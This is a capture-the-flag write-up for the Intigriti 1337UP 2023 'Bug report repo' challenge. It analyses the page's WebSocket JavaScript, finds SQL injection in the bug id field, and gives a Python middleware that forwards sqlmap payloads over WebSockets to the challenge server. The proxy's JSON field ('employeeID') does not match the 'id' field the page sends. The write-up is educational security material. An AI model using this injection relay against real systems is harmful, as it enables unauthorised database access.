# 1337UP intigriti 2023

## Bug report repo

This is the webpage of the challenge where we look at the page dealing in reports:

<figure><img src="https://1258745909-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPRj67lRKmIcGcfIbPm4a%2Fuploads%2FKbko1CdBwrYUmEteqWbD%2Fimage.png?alt=media&#x26;token=289437ad-9c50-4b70-8033-c3e8bfbb6176" alt=""><figcaption></figcaption></figure>

we keep on typing the number , we can see that the program responds the name and the status of the report

&#x20;![](https://1258745909-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPRj67lRKmIcGcfIbPm4a%2Fuploads%2FQoeEd6QRnWyHk2C6mmgs%2Fimage.png?alt=media\&token=a0c07d75-87f5-40c7-a7ad-89b917dd5eca)

we can also see that no request was made to the back-end for this -> so everything must on the front-end

Though when bug not found says the id not on the display:

![](https://1258745909-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPRj67lRKmIcGcfIbPm4a%2Fuploads%2F6HIgGQSZzQkVIvLxfnn2%2Fimage.png?alt=media\&token=45fbbb27-f60a-4a28-84fc-6af6158ce726)

It gives a new report id-> 11 not on display {also from ethical hacker}&#x20;

<figure><img src="https://1258745909-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPRj67lRKmIcGcfIbPm4a%2Fuploads%2FKUwwaFkh5JF0Z42UEyNg%2Fimage.png?alt=media&#x26;token=be4a908b-2642-4367-a454-851254b5dce3" alt=""><figcaption></figcaption></figure>

I got this code from the page's js file -> They were using websockets .. that's why nothing was on burp

```javascript
$(document).ready(function () {
  open_ws();
  $("#id").on("keyup", function (_event) {
    bug_search();
  });
});

function bug_search() {
  var bug_id = $("#id").val();
  if (bug_id) {
    var msg = JSON.stringify({ id: bug_id });
    ws.send(msg);

    var rows = $("table tbody tr");
    rows.removeClass("highlight").css("color", "");
    rows.each(function () {
      var row = $(this);
      if (row.find("td:first-child").text() == bug_id) {
        row.addClass("highlight").css("color", "black");
      }
    });
  }
}

function open_ws() {
  var HOST = location.origin.replace(/^http/, "ws");
  console.log(HOST)
  window.ws = new WebSocket(HOST + "/ws");

  ws.onopen = function (_event) {
    setInterval(ping, 42000);
  };

  ws.onmessage = function (event) {
    if (event.data == "__pong__") {
      pong();
      return;
    }

    try {
      msg = JSON.parse(event.data);
      $("#res-container").html(msg.message);
    } catch (e) {
      $("#res-container").html(event.data);
    }
  };

  ws.onerror = function (event) {
    try {
      msg = JSON.parse(event.data);
      $("#res-container").text(msg.message);
    } catch (e) {
      $("#res-container").text(event.data);
    }
  };

  ws.onclose = function (_event) {
    console.log("Connection closed!");
  };
}

function ping() {
  ws.send("__ping__");
  tm = setTimeout(function () {}, 4200);
}

function pong() {
  clearTimeout(tm);
}

```

#### explaintation

1.  **Document Ready Function:**

    ```javascript
    javascriptCopy code$(document).ready(function () {
      open_ws();
      $("#id").on("keyup", function (_event) {
        bug_search();
      });
    });
    ```

    * This part ensures that the document is fully loaded before executing the provided functions.
    * `open_ws()` is called to open a WebSocket connection.
    * An event listener is attached to the `keyup` event on the HTML element with the ID `id`. When a key is released, the `bug_search()` function is called.
2.  **`bug_search()` Function:**

    ```javascript
    javascriptCopy codefunction bug_search() {
      var bug_id = $("#id").val();
      if (bug_id) {
        var msg = JSON.stringify({ id: bug_id });
        ws.send(msg);

        var rows = $("table tbody tr");
        rows.removeClass("highlight").css("color", "");
        rows.each(function () {
          var row = $(this);
          if (row.find("td:first-child").text() == bug_id) {
            row.addClass("highlight").css("color", "black");
          }
        });
      }
    }
    ```

    * Retrieves the value from the HTML element with the ID `id`.
    * If `bug_id` is not empty, it constructs a JSON message (`msg`) and sends it via the WebSocket (`ws.send(msg)`).
    * It then manipulates the style of table rows based on whether they match the bug\_id.
3.  **`open_ws()` Function:**

    ```javascript
    javascriptCopy codefunction open_ws() {
      var HOST = location.origin.replace(/^http/, "ws");
      console.log(HOST)
      window.ws = new WebSocket(HOST + "/ws");

      ws.onopen = function (_event) {
        setInterval(ping, 42000);
      };

      ws.onmessage = function (event) {
        // Handle WebSocket messages
      };

      ws.onerror = function (event) {
        // Handle WebSocket errors
      };

      ws.onclose = function (_event) {
        console.log("Connection closed!");
      };
    }
    ```

    * Constructs a WebSocket (`ws`) using the current page's origin with the protocol changed to WebSocket (`ws`).
    * Sets up event handlers for `onopen`, `onmessage`, `onerror`, and `onclose` events.
    * Calls `ping` function at regular intervals (42 seconds).
4.  **`ping()` and `pong()` Functions:**

    ```javascript
    javascriptCopy codefunction ping() {
      ws.send("__ping__");
      tm = setTimeout(function () {}, 4200);
    }

    function pong() {
      clearTimeout(tm);
    }
    ```

    * `ping` sends a `__ping__` message through the WebSocket and sets a timeout.
    * `pong` clears the timeout, acting as a response to the ping.



<figure><img src="https://1258745909-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPRj67lRKmIcGcfIbPm4a%2Fuploads%2FKdLvbKpoWnpMW1N9dqZu%2Fimage.png?alt=media&#x26;token=a32c5a7c-ab27-4a93-9039-0d9a9632031c" alt=""><figcaption></figcaption></figure>

#### exploit begins

what if we use the injection here? -> basic sqli

GUESS WE ARE RIGHT

<figure><img src="https://1258745909-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPRj67lRKmIcGcfIbPm4a%2Fuploads%2Fil9QFrUr7gwgEPlFc4sQ%2Fimage.png?alt=media&#x26;token=567b53c5-ffa2-496a-8e8f-4829c926d642" alt=""><figcaption></figcaption></figure>

we can use sqlmap to automate our finding -> sqlmap over websockets !! yes how to do so:

1. [Article-1](https://2h3ph3rd.medium.com/sqlmap-over-websockets-353cdcd9a7ab) explaining everything.
2. [Article-2](https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html) shared by official writeup -> [here](https://ctftime.org/writeup/38237)

so using article-1 I made sure to understand the code and used it , also the code was made for the in-network server but we needed to connect to remote hosts over websockets so we used **wss** instead of **ws** in the protocol.

we also need to make sure that the negative id are not being transmitted as it's running sqlite3

so to do that we just imply a simple condition the code : if payload.startswith('-'): content="NOT sending due to -ve value"

code:

```python
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "wss://bountyrepo.ctf.intigriti.io/ws"

def send_ws(payload):
    ws = create_connection(ws_server)
    # If the server returns a response on connect, use below line	
    # resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
	
    # For our case, format the payload in JSON
    message = unquote(payload).replace('"', '\'')  # replacing " with ' to avoid breaking JSON structure
    data = '{"employeeID":"%s"}' % message

    ws.send(data)
    resp = ws.recv()
    ws.close()

    if resp:
        return resp
    else:
        return ''

def middleware_server(host_port, content_type="text/plain"):
    class CustomHandler(SimpleHTTPRequestHandler):
        def do_GET(self) -> None:
            self.send_response(200)
            try:
                payload = urlparse(self.path).query.split('=', 1)[1]
            except IndexError:
                payload = False

            if payload:
                if payload.startswith('-'):
                    content = "Skipped due to negative id as it freezes on negative id"
                else:
                    content = send_ws(payload)
            else:
                content = 'No parameters specified!'

            self.send_header("Content-type", content_type)
            self.end_headers()
            self.wfile.write(content.encode())
            return

    class _TCPServer(TCPServer):
        allow_reuse_address = True

    httpd = _TCPServer(host_port, CustomHandler)
    httpd.serve_forever()

print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
    middleware_server(('0.0.0.0', 8081))
except KeyboardInterrupt:
    pass

```

now this is our middle ware -> we'll send the request to him via sqlmap and this will forward it over websocket:

<figure><img src="https://1258745909-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPRj67lRKmIcGcfIbPm4a%2Fuploads%2Fn92gISgTvgCjF9yGyhSu%2Fimage.png?alt=media&#x26;token=94545768-5509-4c8a-a180-dc1d969c3f4b" alt=""><figcaption><p>middle ware proxy getting sqlmap payloads</p></figcaption></figure>

<figure><img src="https://1258745909-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPRj67lRKmIcGcfIbPm4a%2Fuploads%2FQti7Ydw6ZvKD6zQXu2VV%2Fimage.png?alt=media&#x26;token=817280ad-6391-419f-913e-353d7bbb6ccf" alt=""><figcaption></figcaption></figure>
